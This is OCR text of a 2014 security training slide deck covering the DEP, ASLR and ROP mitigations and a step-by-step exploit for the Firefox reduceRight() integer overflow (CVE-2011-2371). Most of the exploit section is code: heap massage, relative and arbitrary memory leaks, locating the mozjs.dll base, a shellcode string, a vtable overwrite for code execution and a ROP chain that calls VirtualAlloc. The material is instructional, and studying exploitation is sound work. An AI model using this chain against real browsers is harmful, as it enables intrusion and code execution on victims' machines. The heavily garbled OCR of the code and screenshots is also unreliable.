“You can set Microsoft Windows to examine your network
and autornatically discover network connection settings (if
your network administrator has enabled this setting).

1. Click the Tools menu, and then click Internet

Options.
2. On the Connections tab, click LAN Settings.
3. Select Automatically detect settings, and then
click 0K,

Some sites require 128-bit connection security, Click the
Help menu and then click About Internet Explorer to
determine what strength security you have installed.
If you are trying to reach a secure site, make sure your
Security settings can support it, Click the Teels menu, and
then click Internet Options. On the Advanced tab, scrall
to the Security section and check settings for SSL 2.0, SSL
3.0, TLS 1.0, PCT 1.0,
Click the ¥ Back button to try another link.

Cannot find server or DNS Error
Internet Explorer

File and Folder Tasks S

=] Rename this file

(B Mave this file

Copy this fils

& Publish this il to the Web
() E-mail this File

3 Delets this fils

Other Places &
() Browser

(L) My Documents

[ Shared Documents

i My Computer

&3 My Network Places

Details ¥

|&] pore

#/5tart| | = ANI File MS07-17 (Ret... [ C:iDocuments and Settin... | 1 Cannot Find server - Mict...
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Countermeasure: DEP or
ADVISOR FOR YOUR INFORMATION SECURITY

High address
(e.g. 0xc0000000) © MACK after BOF

NOT
EXECUTABLE
Hardcoded
address
New RET address
EBP
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Countermeasure: DEP F4 SEC Consult
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« Data Execution Prevention

« |dea: Data on the stack must not be executable (because it
contains data and not code), thus mark it as not executable

« =» Attacker can‘t execute his own code because his own code
IS stored as data and thus not executable
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« Executable must be DEP compatible!

- On windows PE Header -> OptionalHeader -> DIICharacteristics
-> NX compatible

« On windows different modes exist

AlwaysOn = All applications are protected by DEP
AlwaysOff = No application is protected by DEP

Optin = Only a specified list of applications is protected
OptOut = Only a specified list of applications is not protected
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« Windows uses these modes to ensure compatibility

*  On client systems (Windows Vista, Windows 7, ...) default is
Optin

* On server systems (Windows 2003, Windows 2008, ...) default is
OptOut

« Since Windows Vista: bcdedit.exe can be used to change
mode

- Bcdedit.exe /set {current} nx OptOut
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« |dea of attackers: Return Oriented Programming ROP
+ Use already existing code

+ Build new code which disables DEP by chaining already existing
code together

Title: XSS and beyond
Version/Date: 1.0/10.06.2014 © 2014 SEC Consult Unternehmensberatung GmbH

Responsible: R. Freingruber All rights reserved
Confidentiality Class: Public




ADVISOR FOR YOUR INFORMATION SECURITY

» Let's look again at the stack after the function returned to the
manipulated return address:

FEegisters [FPLI

ESP

New RET address
0x0d0d0dod

A1 30ECC

L L

Padding
(e.g.: 0x0d0d0d...)

l
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« Jump to already existing code to bypass ASLR:

FFFFFF_E4FBFFFF
SFFFFFF BLCB48000
EFFFF

r,
-’
| G
-
-
| G
-
-
|
-
| O

« Important: Corresponding module must be compiled with
ASLR off because otherwise ,JMP ESP” would always be at
another address
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« The new attack:

ESP

New RET address
Ox7ch3clf6

TCB2C1Fs FFE4

FE

* Another method to bypass ASLR!

« But: With DEP enabled it's still not possible to execute the
shellcode....
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 ROP extends this technique to build the complete
shellcode with existing code (so called gadgets!)

=] =] =] =]

New RET address
Gadoet 1 ESP
FOF EEF .
r-1:::l...l ER:, DWORD PTR DS: [EAX-2] Padding

(e.g.: 0x414141..)

FOF ERX l

Title: XSS and beyond
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« Typically the ROP chain calls a method to disable DEP

« Then the real shellcode can be executed

VirtualAlloc

ADVISOR FOR YOUR INFORMATION SECURITY

HeapCreate Yes

SetProcessDEPPolicy No (1)

NtSetinformationProcess Yes

VirtualProtect Yes

XPSp2 XPSP3 VISTA SPO VISTASP1 WINDOWS 7 WINDOWS 2003 SP1 WINDOWS 2008
Yes Yes Yes
Yes Yes Yas Yas Yes Yes
Yes No (1) Yes No (2) No (1) Yes
Yes Yes No (2) No (2) Yes No (2)
Yes Yes Yes Yes Yes Yes
Yes Yes Yes Yes Yes Yes

WriteProcessMemory Yes

(1) =doesn't exist
(2) = will fail because of default DEP Policy settings

Source: https://www.corelan.be/
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VirtualProtect() to disable DEP

unsigned char buf[]

\Xfc\Xe8\XB9\XUD\XUU\XUU\XEU\X89\Xe5\X3l\Xd2\X64\X8b\X52\X30

"hREDY HbhZN\ 0\ XBhbY x
"SRRI HCO Hach 30K
"REOY B2 TN HBbY ¥
"Ry T4y 2dah x01h K
ThRICK KA XAk 3N K
"HOLY Zo T 38N e Dl ¥
"hREDY hEN 24N K01 K
T ROAN KBk 01N Hd 0N K
ey ZhEh xhD xbhah ¥
"HROO0N 200N Zh0N HEBN K
"B Zaeh 95N wbdh o
" R05y Kby 4T 13N K
"WRIZeN KGN\ XTI HEE K

]int main(}

F Calculator
Edit  Wiew Help

11

) Hex

[ I Hwp

(®Dec (0ct () Bin

(%) Degiees

) Radianz

) Grads

T

[Backspace

[ & J[ c |

[ Sta

Lre )

) J () 7 e

|

4

[ And

[ dmz [ Exp

|

e )L

o [

-

|

nis

L2

] [ cos

(] (o

nil +4

L

=
l
l
L

[ It

[

[ Lan

l
L E
Le) L] L
l E
l

1:’3] [ l & B

C

D

E F

A
9
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{
unsigned int oldProtect;
wold (*f£) (vodld);:
f = {wvoid (*){)y)&abuf;
VirtualProtectEx (| (HANDLE)
£tir:

-1

Title: XSS and beyond
Version/Date: 1.0/10.06.2014

Responsible: R. Freingruber

_1;

(void *)buf,0x1000,PAGE EXECUTE READWRITE,

© 2014 SEC Consult Unternehmensberatung GmbH
All rights reserved

(PDWORD) &0ldProtect) ;

Confidentiality Class: Public



A
- ‘OV
Conclusion =
ADVISOR FOR YOUR INFORMATION SECURITY

 ASLR and DEP together is very powerful

 Attacker can‘t use already existing code because ASLR
randomizes the start address of code segments

« Typical way to bypass: Turn the vulnerability to an information
leak vulnerability or find another one which allows leaking
data to bypass ASLR, then build a ROP chain on top of the
leaked addresses

« The Firefox exploit from the next chapter shows an example!
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Overview mitigation techniques

ADVISOR FOR YOUR INFORMATION SECURITY

« We discussed:

ASLR
DEP
Pre-allocation of memory pages

* Other techniques:

Stack cookies + variable reordering
SafeSEH + SEHOP (to prevent exception handler attacks)
vTable Guard (prevents attacking the virtual table of objects)

Safe unlinking, safe look aside list, heap cookies, heap metadata
encryption, .... (to prevent heap overflows)

ROP mitigation such as LoadLibrary, MemProtect, Caller checks,
Simulate execution flow, Stack Pivot (by EMET)

Export Address Table Access Filtering (by EMET, prevents
shellcode)
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Case-study: Firefox reduceRight()
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Firefox reduceRight() Exploit
ADVISOR FOR YOUR INFORMATION SECURITY

« This part discusses the Firefox reduceRight() vulnerability
CVE-2011-2371

« The exploit is heavily based on the following resources:
* The corresponding metersploit module
* An exploit written by the user pakt
e http://gdtr.wordpress.com/2012/02/22/exploiting-
cve-2011-2371-without-non-aslr-modules/
« Aggreat talk from Fionnbharr Davies
e https://www.youtube.com/watch?v=EE1IXNuX|FQ
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http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/
https://www.youtube.com/watch?v=EE1lxNuXjFQ
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« The talk by Fionnbharr Davies gives a really great overview
« But: No source code was provided or shown; only the
generic technique was described

* | rewrote the exploit because it's a great vulnerability for
demonstrations
« | tried to write the exploit by myself without looking at
other exploit codes or descriptions
* Only ,converting“-code was reused from other exploits

Title: XSS and beyond
Version/Date: 1.0/10.06.2014 © 2014 SEC Consult Unternehmensberatung GmbH

Responsible: R. Freingruber All rights reserved
Confidentiality Class: Public




A
Firefox reduceRight() Exploit M
ADVISOR FOR YOUR INFORMATION SECURITY

Exploit works (reliable) against:
 Windows XP, Vista, Win7, Win8, 2k3, 2k8, 2012, ....
« x86 and x64
« Could be also ported to target Linux and other operating systems

Exploit bypasses:
« ASLR (Address space layout randomization); without java6
« DEP (Data execution prevention)

Exploit does not use heap spray
« =>» Memory does not increase significantly during exploitation

Exploit does not crash the browser!

=>» Really cool vulnerability to investigate
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H<html>»<script>
XVZ = new Array;
xyz[0] = 1;
xyz[1l] = 2;
xyz[2] = 3;
H a = function x(prev, current, index, array) {
alert (current) ;
N
xvz.reduceRight(a,l1,2,3);
“</script></html>

TN o B o s I T S B RV S

= ReduceRight() invokes the callback function a on every
item of the array xyz from right to left
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Firefox reduceRight() Exploit

ine Anzeige Gerste
\Documents and Settings\tfi'\Desktop\YulnProgramms',Browser'Firefox ReduceRight (Integer Overflow)\tester.htmi - Notepad-++

File Edt Search Wiew Encoding language Settings Macro Run Plugins Window 7 %
| o OHEE . ;B|4mD|eins + BES1FIEE0E 6y
Steste il 5|
1 g<html><script>
2 XyzZ = new Arravy;
3 xyz[0] = 57
4 xyz[1l] = 6;
5 xyz[2] ar';
5
-
8

xyz[3] "abc";

R a = function x(prev, current, index, array) {
9 alert (current);

10 }

11 xyz.reduceRight(a,1,2,3);

12 </script></html>

Hyper Text Markup Language file length : 215 lines : 14 ln:10 col:4 Sel:ofo Uk |anisT as UTF-8 [ins
i start| | Firefax ReduceRight (Int... || [ C:\Documents and Se... (@) Mozila Firefox BE|« ) @ 1000
@0 @& S @ [ (@ 3 smorecHs
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042 static J5 REQUIRES STACK J5Bool
array extra(J3iContext *cx, ArrayExtraMode mode, uintN arge, javal *vp)

Can store only

positive values S e,
O to 4.294.967.295 Javal *argv, +elemrcot, *invokevp, *sp:

aSBDDl ok, cond, hole;
- . s

*NEeWArr;

v

mark;

Can store positive and

obj = J5_TH TECT o o
negative values s Koparer oS (o8, OB, g
-2.147.483.648 to /

* First, get or compute cur callee, soc that we error out consistently
* when passed a non-callable cbhject.
Sy
if {argc == 0) |
ja_ReportMissingArg(cx, vp, 0):
return J3 FALSE;

2.147.483.547

i
argv = vp + 2;
callable = j3a_ValueToCallableObject (cx, sargv[0], J5V2F_SERRCH STACK):
if ('callable)
return J5_FALSE:

‘.’*
* Set ocur initial return cconditicn, used for zerc-length array cases
* {and pre-size our map return toc match our known length, for all cases).

o *‘,i
4 #ifdef GNUC _ /* quell GCC overwarning */
What if length is > S

0 #epdit
078 start = 0, end = length, atep = 1; l

2.147.483.547 ?
=>» Start will become ;
negative! -

awitch (mode) |

c .
istart = length mlggand = 1. 3ten — -1:8

case REDUCE:
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« Variable i is equal to start which is negative if length
property of the array is very huge when calling

reduceRight()
3149 focr (1 = starty 1 '= end; i += 3atep) |
31350 ok = J5 CHECKE OPEBRATION LIMIT({cx) ==&
3151 GetArrayElement {(cx, cbkj, 1, &hole, elemrcct);
3152 if (lok)
3153 goto out;
3154 if (hole)
3155 continue;
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« The variable 1 of type jsint is casted to jsdouble which can also
be negative

« JS ASSERT() would prevent this attack, but asserts are only
active for development builds (not release builds)

« Before index is used as index of an array it's casted back to
jsuint (line 439)

133 atatic J5Bool
134 GetArravElement (J5Context *cx, J50bject *cobj, jadouble index, JSBool *hole,
435 javal *vp)

-
4 10
- S

13 J3_ASSERT (index >= 0);

138 if (OBJ IS5 DENSE ARRAY (cx, obj) £& index < j3 DenaeArrayCepacity(obj) =&
139 {(*vp = obj->dslota[jsuint({index)]) !'= JSVAL HOLE) {

441 *hole = J5 FALSE;

441 return J3 TRUE;
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1  [J<htmlr<scripts

2 XVE = Rew Lrrav:

3 xyz[0] = Ox41434341; Find data in debugger:
= xvz[l] = "My string"™:

- ¥yzla] = false; Isearchspray —h 41 43 43 41 01
& *xvz[4] = mrew Chiject():

7 xyz[2] = 0.000000001;

o xvez[e] = 0x4143435341;

a alert{"STOF 17):

10

11 [ For{i = 0; i < 64; ——-1i) {

12 xvz[i] = Ox42424242;

13 B |

14 alert{"STOF 27} ;

15

16 -<faoriptr</ htmls
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Array internals

Array data structure

A
v

In-slots array

A
v

Different fields | slots-array ptr entry one | entry two |

4 byte data entry | 4 byte data type
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Qddress
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OxFFFFO001 JSVAL_TAG_INT32
OxFFFFO0002 JSVAL_TAG_UNDEFINED
OxFFFFO003 JSVAL_TAG_BOOLEAN
OxFFFFO0004 JSVAL_TAG_MAGIC
OxFFFFO005 JSVAL_TAG_STRING
OxFFFFO006 JSVAL_TAG_NULL
OxFFFFOO0O07 JSVAL_TAG_OBJECT
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14
515
Kk
515

=1 s =] 1
11051 [T]

« Strings are stored in arrays by using the first four byte
as a pointer to a string data structure.

* The string data structure starts with a dword to store
the length and flags (Flags are stored in the lower
nibble, in this case flags is equal to four; To other part
contains the length, here length is 9)

« The second dword is a pointer to the Unicode string
which is null-terminated by two null bytes
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Firefox reduceRight() Exploit
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« Afirst attack: leak it's own address in memory!

/¢ Array used to info disclosur
var infolisclosure = new Arravi(

= Ffunction go(){

infobisclosure[0] = Ox414354
addr of infolisclosure slot
alert{addr of infoDisclosur
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¥

J41;
= leaklddress0f infolisclosure slot{});
e slot.to3tring{l6)):;
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493 [H Ffupction leaklddress0f infoDisclosure sloti) {
404 var leak arr len = Oxc0000000;

495 mem = []:

495 var leak func =

497 = Function bleh{prewv, current, index, arrav) {
495 E—% iF{ Eypeof current == "number ™) {
499 mem. push{current) ;

Eoo alert{myHex{currenti) :

Eol ERrowr "=top™:

Eo2 B H

EO3 alert{"TERROR occured!) ™)

Eo4g throw "error™:

EOE B H

EOg var addr = 0O;

tow A4 === TRIGGER START

S0s infolDizclosure. length = leak arr len:

tEog Ery{ infolDizclosure.reduceRight{leak func,1,2,3): } catchie){ }
510 £# === TRIGGER END

Ei1

Eiz mem = hicer{mem) ;

513 [ A% Hexdumwp for debugging

514 cdump . innerHTHL = "TEZT: " + convert (mem) :
51k B B

Elg addr = dwZint{mem[1]}:

L rekurn addr:

tig B }

Title: XSS and beyond
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* Alength value of OxcO0O00000 will access the element in front of
the first element.

 In the above figure the first element is marked, thus the element
before it consists of the values 08 00 00 00 68 F3 86 05

* In this case the slot pointer is 0x0586f368 (equal to the address of
the first element; If the array tries to store more elements the slots
array would be relocated and the slot-pointer address would
change)
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« QOur aim is to control the memory in front of the slots-array!

Array data structure

A

v

In-slots array

A

v

Different fields | slots-array ptr entry one | entry two |

xyz[63] = 0x41414141;

entry 1| entry 2 | | entry 64

Size = 64 elements * 8 byte per element = 512 byte

A

v

Title: XSS and beyond
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* |dea: Make two allocations of the same size

« Because both have the same size they will be adjacent (next-to-
each-other) in memory, if there are no holes

* We accessed element [63] of an error
« The array must be large enough to store 64 elements!
- Each element consists of 4 byte data value and 4 byte data type
* The total size is: (4+4) * 64 = 512 byte!

« =>» Allocate an UInt32Array with 128 elements!
« UInt32Arrays can only store values of type Uint32 .....
« Thus every entry consists of only 4 byte
« The total size is: 4 * 128 = 512 byte

Title: XSS and beyond
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used

used
used

size 0x300

used

size 0x100
used

used

size 0x200

used

free; wild chunk

ADVISOR FOR YOUR INFORMATION SECURITY

used

used

used

used ; array 1
free ; size 0x100

used

free ; size 0x100
used

used

used; array 2

used

free; wild chunk

=> If JS code allocates two arrays of the same size it's very likely that they
are not adjacent (next to each other) in memory because of holes

Title: XSS and beyond
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Firefox reduceRight() Exploit

 It's possible to ,defragment” the heap by
making many allocations of the same size
to fill all holes

« Two further allocations (of the same size)
will very likely be adjacent in memory

« Even if they are not adjacent the info
disclosure vulnerability can be used to
detect such a situation

ADVISOR FOR YOUR INFORMATION SECURITY

used

used

used

free ; size 0x100

used

free ; size 0x100
used

used

foz(var L Sipebwaray Lkt o usedidummy

filler[i] = nrew Uint3ZArray(128);
foxr(var j = 0; j < 128; j++) {
filler[i] [j] = Ox41414141;

Title: XSS and beyond

used
used; array 1

used; array 2

free; wild chunk
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Firefox reduceRight() Exploit

270 array before zlot of infolisclosure = mpew TintiZirray({l1ZS);
271 = For{ivar 1 = 0; 3 =< 1258; J++) {

272 array before slot of infolisclosure[]] = O0xD042004Z;

273 = IF(] == 128} {

274 array before slot of infolizclosure[]j] = Oxd4z2424242;
275 i i

276 [ AF(] == 127y {

277 array before slot of infolisclosure[]] = Ox4543435343;
275 B ¥

279 i H

=> Array before slot_of infoDisclosure is of size 512 because 128
(number of elements) * 4 (4 byte = Uint32) is equal to 512

286 | infobisclosure[63] = O0x42474742 ;

=» infoDisclosure is also of size 512 because element 63 (the 64th
element) is accessed and every element consists of 8 byte (4 byte data
value and 4 byte data type)

=>» Both arrays are adjacent in memory
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« Array before relocation of slots array of the first array
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« After relocation

« Slots-pointer has changed

* New slots pointer is
0x0614ce00

« At address 0x0614ce00 the
first element is now stored
(0x41434341) of type
Integer (Oxffff0001)

* Rightin front of the array
the values 0x42424242
and 0x43434343 are
stored

* Thus the heap
defragmentation and heap
massage worked!
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* Problem: We want to leak the address of the slots-array!

« But: slots array was relocated, thus slots-array ptr can‘t be leaked!
« Solution: create two arrays!

0xc0000000 - 13

arrayToGetAddrOf

infoDisclosure infoDisclosure

Oldislots Fields | slots-array ptr oLz itk

Fields | slots-array ptr array array

Other memory New slots array

We need to leak this address for a later step!

0xc0000000
| 0xc0000000 - 1

Version/Date: 1.0/10.06.2014 © 2014 SEC Consult Unternehmensberatung GmbH
All rights reserved
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5 [ O [ o [ LE 14 vs & 0xc0000000— 13

1 4= 4= 41 W FF S 0xc0000000— 12
o [ HA FF Oxc0000000-11
o s s [ HA FF : Oxc0000000- 10
AR B8 86 aa AA FF Oxc0000000-9
AE A3 B8 A HA FF - Oxc0000000 — 8
01 1 1 S . FF e OxcO000000— 7
1 1 1 S e FF - OxcO000000 -6
HA B B3 A3 M FF . OxcO000000 -5
AC S TE @G CF 75 @@ < OxcO000000—4
A B8 88 86 FF FF Oxc0000000— 3
o 1 s [ I [ v 42 Fs = . Oxc0000000 =2
44 48 F= A= HE B : Oxc0000000 = 1
0 e [ TH F= = OxcO000000 =0

4
n

FF_FFl * &,
FF FF ...

N o
a1
(]
i

._
'_l.
—
i
-
I—l-
- -
l—l- .—I-.
-
—
—
=
—

« Use a length value of OxcO000000-13 in the second array
to disclosure the new slots-array address
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T1l6
w1
T1g
w19
720
T2l
Tad
TZa
TZ4
TZ5
TZ6
Ta2T
TZg
29
a0
T3l
Tis
T3S
T34
T35
736
73T
Tag
T3
740
711

ADVISOR FOR YOUR INFORMATION SECURITY

Funpction leaklddressOf infolisclosure slot{) {

var leak arr len = Oxc0000000-13;
mem = []:
var leak func =

Ffunckion hleh{prewv, current,

index, arrav) f{

iF{ Eypeof current == "nunberT){

mem. pushi{current}) ;

Sfalert (myHex (current) )

throw "s=top™;
H
glert{"ERROE occocured!™)
EhRrowr "error™;
H
var addr = 0;
f4 === TRIGGER 3ZITART

arrayToGetlddr0f infolisclosure. length = leak arr len;
Eryr{ arrayToGetliddrOf infolisclosure.reduceRight{leak func,1,2Z,.3): } catcki{e){ }

/f === TRIGZER END

mem = nicer {mem) ;
S Hexdump for debugging

cdump . innerHTHL = "TEZT: " 4+ convert (mwem) ;

=r
addr = dwZint{mem[1]}:
rekurn addr;

Title: XSS and beyond
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Firefox reduceRight() Exploit

vatr checklMem = leakWalueBefore infoDisclosure slot():
addInfo{"-) Checking wvalue in front of infolisclosure array [(was heap massage successfull?) ™) :
var firstd4Byte = dwZint{checkMem[O])
var seconddByte = dw2int{checkMem[1]}):
iFf{firstdbByte = Oxd4:-24:24242)
addInfo{™ tFirst 4 hytes are wrong!':

refturn:

H

addInfof{ ™ tFirst 4 hytes are correct!™);

iF{zecondd4bByte 1= 0x43434343) {
addInfof{ ™ t3econd 4 hytes are wrong!™);
rekurn:

H

addInfo{ ™ tSecond 4 hytez are correct!™);

 Verification code to check if heap defragmentation and
massage worked

« As already discussed the values 0x42424242 and
0x43434343 must be Iin front of the slots-array

Title: XSS and beyond
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var str = arbitrary leak string{addr of infolDisclosure slot-{S%z=0), 4%} ;
addInfo({ "] Checking if arbitrary info leak iz working...™):
iF{=tr 1= "EEEE"}) {

addInfo{ " tDhisclosued string iz wrong! Assumed we find BEBEE but it was ™ + 3tr);

reknmn:

}

addInfo{ "™ tSuccessfully disclosued string BBEBEE, arbhitrary leaking i= working!™):

« Next step is to convert the relative information leak (where a
length value with a relative offset must be used) to an arbitrary
information leak (where any address can be disclosed)

« This is done by replacing the element before the slots array with
a string element (overwrite 0x43434343 with the data type of a
string and 0x42424242 with a pointer to the new string data
structure) and letting the string data structure point to the
memory which should be disclosed

Title: XSS and beyond
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function arbitrary leak string(addr_to_disclosure, numberBytes) {
array before_slot_of infoDisclosure[127] = Oxff££f0005:; // Set datatype to string
array_before_slot_of_ infoDisclosure[126] = addr_of_ infoDisclosure_slot-8-8; // = [124]
var tmplen = numberBytes;
if(tmplen % 2 = 0) {
tmplen 4= 1; // £ix length to multiple of two
H
tmpLen f= 2:; // unicode = half length
array before_slot_of infoDisclosure[124] = (tmplen << 4 | 4); // Length of unicode string
array before slot_of_ infoDisclosure[125] = addr_to_disclosure; // address to disclosure
var leak arr_ len = 0Oxc0000000;
SLr m N0
var leak func =
function bleh(prev, current, index, array) {
if(typeof current == "string”){
Str = current;
throw "scop";

}
alert(”"ERROR occured!'”):;
throw "error";

H

// === TRIGGER START

infoDisclosure. length = leak arr_len;

try{ infoDisclosure.reduceRight(leak func,1,2,3): } catch(e){ }
// === TRIGGER END

returmn str;

Title: XSS and beyond
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Relative to absolute info leak

infoDisclosure

Fields | slots-array ptr Old slots array

Other memory New slots array

Address to
leak
tr structure
ptr
OxFFFFOO005

l 0xc0000000

Memory to leak

Title: XSS and beyond
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Getting code execution
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* It's now possible to leak arbitrary memory!
« We used strings for that

* The next step is to get code execution!
« We will use objects for that

object Virtual table

Pointer to virtual table Function 1 pointer
Field 1 Function 2 pointer

Field2 | = "
Function ,typeof® pointer

Function ,setElem” pointer

var exploit func =
function bleh(prev, current, index, array) {
current[0] = 1;

Title: XSS and beyond
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« Assembler instruction when calling type of object:

O0szZEB44%3
O052E4A6
O05ZE4 L5
O0szZzB4Ln
O052E4AF
O05zZE4E0
O05zZzE4E4
O052E4B5

Title: XSS and beyond
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SB40 7o
g5C0

75 05

B S0C3 5400
a1

aB4Cz4 08
STk

FFDO

Mosy ELX, DIMORD PTE DS: [EAXA4TE]
TEST EAX,EALX

JNZ SHORT mozjs.005ZB44F

MO EAX  moz]js.0054C350

FUSH ECX

Moy ECE, DWMORD PTER 35: [ERP+3E]
PUOSH ECX

CALL EAX

© 2014 SEC Consult Unternehmensberatung GmbH
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Getting code execution

« Assembler instruction when calling setElement of object:

O0gAdlas dBE47 64 Moy Eax, DWORD PTE D3: [EDI+64]
O0&A01AC a5C0 TEZT EALAX, EAX

O0GA01AE W5 05 JHNE SHORT mozj=s.006AL01B5
O0aA01ED BS S0BE&OOO MoV ELX,moz]js.0060BEB30
O0&AO01EBS gB54z24 1C MoW EDX,DWORD PTR 35: [ESP+1C]
O0elA01ES 6L 00 PUZH 0O

O0aA0L1EE gDh4Cz24 24 LEL ECX,DWORD PTE 253: [E2P+:z4]
O0&AO0L1EF 51 PUSH ECXE

O0ei01cO 53 PUSH EEBX

O0gadlcl a5 PUSH EEF

O06A0L1CE 52 PUSH EDX

O0eA01CH FFDO CALL EAX

» |ea ecx, [esp+0x24] can be used to store the old value of
ESP in ECX to later recover ESP to avoid crashing the
application
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Getting code execution

Function exploit{) {
array before slot of infoDisclosure[127] = Oxffff0007; // Set datatype to ohiject
var address of array before element 124 = addr of infoDisclosure slot-85-8:; // = [1Z4]

array before slot of infobisclosure[l£6] = address of array before element 124
var address of array before element start = address of array hefore element 124 — (4%1:243);
array_hefnr;_sznt_nf:infDDi;clnsurEEIEE] = addrEsS_Ef_;rray_ﬁefnre_;lement_;tart - Oxe4d:;
546 viar len to negative access = Oxc0000000;
o477 var explolit func =
543 [ Funckrion bleh{prev, current, index, arravy) {
o049 current [0] = 1:
=50 it }
551 /¢ === TRIGGER START
S5z infolisclosure.length = len to negative access;
553 try{ infolisclosure.reduceRight{exploit func,1,Z2,3); } catbtchi{e){ }
554 /¢ === TRIGGER END
255
S56 rek(urn str:;
S57 i }
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array hefore slot of infobDisclosure[0] = address of array before element start+d;
var shelleode = ™y xfoh X288 €395 €005 €004 x00% X604 X594 e85 w3 15 xd2h x64h x8hh X524 X304 X8hh x 524 w0eh x3hh k525 x1dh
while{zhellcode.length % 4 1= 0O) {

shellcode += ", x007"; A4 Align it to multiple of four (because of later use in item assighnemtn)
X
array before slot of infolisclosure[1] = 0x90909090; F/ without debugging
{farray before slot of infolisclosure[l] = Oxccccccoco; // for debugging

var twmpWal = 0O;
var tmplIndex = 2 ;
for{i = 0; i < shellcode.length:; i += 4} {
twpVal = 0;
twpVWal += shellcode[i+3] .charCodeldo{0) <= (S*3);
twpVal += shellcode[i+Z] .charCodeldo{0) <= (S*2);
twpVal += shellcode[i+1l] .charCodeldc{0) <= (S*1);
tmpWal += shellcode[i+0] .charCodeic {0y == {(S*0) ;
array hefore slot of infobDisclosure[tmplndex] = tmpWal;
++tmpIndex;

}

{farray before slot of infolisclosure[tmpIndex] = Oxccoooooo; Fi/ for debugging
array_hefore zlot of infolisclosure[tmpIndex] Ox20909090; // without debugging

++tmpIndex;
array hefore =slot of infolisclosure[tmplndex]

Oxc3c3cic3; // Beturn
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iInfoDisclosure

Old slots
array

Fields | slots-array ptr

Execution

Shellcode New slots array

0x90909090
0x90909080
Oxc3c3c3c3
Not important
OxFFFFO007

~etElem” ptr

| .
L F]
s}
=
o]
o
Q
0
59
=

0xc0000000
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[ || File: ) Documents and Settingsvfr/DeskbopvYulnProgramms Browser [Firefox ReduceRight (Integer Overflow)fexploitfexploit_without_dep_disable . html

|H£| Most Wisited | | Getting Started | Latest Headlines | | Customize Links | | Free Hotmail | | wWindows Media | | Windows

_ao |

-1

Initial data setup done!

Use =>!searchspray -h 41 43 43 41 01« to find sta
Use = 'searchspray -h 45 43 43 45 01« to find adj

Defragwented heap and reallocated infoDis
Use ='searchspray -h 4z 47 47 42 01«

Because of heap massage you should £ EBdf Yiew HE|I:'

Disclosing address of infolisclosure slot

Lddress of infobDisclosur
Disclosing address into mwozij:s
Leaked address to mozZjs
If wersion of wozjs is t
If wersion of mwo=js i=s t
We will not rely on thes
Checking walue in front of ir
First 4 bytes are correc
Jecond 4 bytes are COrre
Checking if arkbitrary info le
Successfully disclosuesd
Going to find start of moz]j=s
Tested mozjs iwmage base:
Tested mo=js image base:
Tested mozjs imwage base:
Tested mo=js image bhase:
Tested mozjs imwage base:
Tested mo=zjs image base:
Tested mozjs image base:
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[ e [t —_
dris . ) Dat tan | #72 | 1% pi & ] C D E F
Sta FE Sum iR ' . )
[rat Lat W 14x pi Fi) B C D B
Bye dmnz
N - T T T T T T T T T
Sum | sin Dat tan | "2 | 1/ pi | 4 | B | c| o | E | F |
3 cos TR [T ] T T - 1 1 -1 ™]
Dat tan :<A2| 1.f':-c| pi | & ] | C | ] | E | F |
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nddrEii Hex dump UHIC

 In front of the first array two pomters to mozjs.dll are stored
(0x00755fb0 and 0x00755cac in this case)
« Use pointers to recalculate image base of mozjs.dll to

bypass ASLR!
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BE5 E] fuanction leakliddressof mozis()y |

=1 var leak arr len = OxcO000000-17;

a7 wem = []:

T=ta: var leak func =

a29 = Function blehi{prev, current, index, array) {
a20 E} iFf{ Eypeof current == "number ") {

G91 wem. push{current) ;

G2 throw "stop':

693 B i

654 alerc{"ERRCE occured! ™) :

695 throw "error’:

=] B H

697 {f === TRIGGER START

Tj=ls arrayTocetAddrof infolisclosure. length = leak arr len:
== Ery{ arrayToGetlddrOf infolisclosure.reduceRight{leak func,1,Z,3): } catchi{e){ }
700 {# === TRIGGER END

701

TO2 memnm = nicer{memd ;

703 B % Hexdump for debugging

e duwmp . inherHTHML = "TE3T: " 4+ convert (mem) ;

705 *

706

ToT refurn mem;

il E H
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Firefox reduceRight() Exploit - ROP

addInfol{ "] Going to £find start of wozjs mwodule ... ):
var tmwpMem:
var MZheader = mew Lrray(0x4d, 0x5a, 0x90, Ox00) ; A8 ME
mozjs pointer &= OxfLfLfL0O000; ff Modules always start aligned!
Forivar 1 = 0; i < 100; ++1i) {
tmpMewm = arbitrary leak hytes(mwozjs pointer, 4):

iF(arravsEqual{twpMem, Miheader) == Erme) {
addInfo{ ™ tFOUND wozjs module image hase: 0= + mozjs pointer.tostring{lo))
break;

H

addInfof{ "™ tInvalid image bhase, going to next pos=sible address ..."):

mozjs pointer —-= 0x10000;

AF¥(1 == 99} {
addInfof " tCould not find image base of mozjs! Something went wrong...™)
reburn:

H

}

 The image base must be page aligned, thus the bitmask
Oxffff0000 is used to align the address, then arbitrary
leaking is used to detect if the address contains the DOS-

header (the string MZ
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addInfo{"-) Going to wverify identified image hase by checking PE header ..."):

const OFFSET E LFANEW = Ox3c;

twpMem = arbitrary leak bytes{moz]ls pointer + OQFFSET E LFANEW, 4):

var e lfanew = twpMem[0] + (twpMem[1] << 5) + (twpMemw[2] << 16} + (twpMem[3] <L Z4):
addInfD{"Hte_lfanew value 1s: Ox" + e lfanew.tostring{la))

twmpMewm = arbitrary leak bytes{mozjs pointer + e lfanew, 4);

viar PEheader = mew Arravy{0x50, 0x45, 0x00, O0x00); ;f PE

iFf{arraysEqual{ timpMem, PEheader) == Ffalse) {
addInfof{ ", tPE header iz not where it should be, sSomething went wrong ...."):
rekurn:

} else {

addInfo{ ") tc3uccessfully found PE header, mozjs base looks walid!™):

=» Additional code can be used to check for the PE header
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array hefore slot of infolisclosure[101] = mozjs base + 0x0012Z2ab0s;: S4 POP EAX # RETN [mozjsdll]

array hefore slot of infolisclosure[l02] = wozjs _hase + 0x0015d054; S ptr to EVirtualidlloc () [IAT mozjsdll]
array hefore slot_of infoDisclosure[103] = mozjs _base + Ox0002Z57e6; S MOV EAXE, DWORD PTR D3:[ELX] # RETN [mozj=sdll]
array hefore slot of infoDisclosure[104] = mozjs base + O0x0014254d; A4 ECHG EAX,E3I # RETN [mozjsdll]

array hefore slot of infoDisclosure[105] = mozjs base + 0x000a986c:; Sf POP EBP # RETN [mozjsdll]

array hefore slot of infoDisclosure[l1068] = mozjs base + 0x000dYees ; S & push esp #  ret 04 [mozjsdll]

array hefore slot of infoDisclosure[107] = mozjs base + 0x0012%9ac1:; 4 POP EBX # RETN [mozjsdll]

array hefore slot of infolisclosure[108] = 0x00000001; A 0x00000001-> ehx

array hefore slot of infoDisclosure[109] = mozjs base + O0x0003efhs; S POP EDE # RETH [mmoEjsdll]

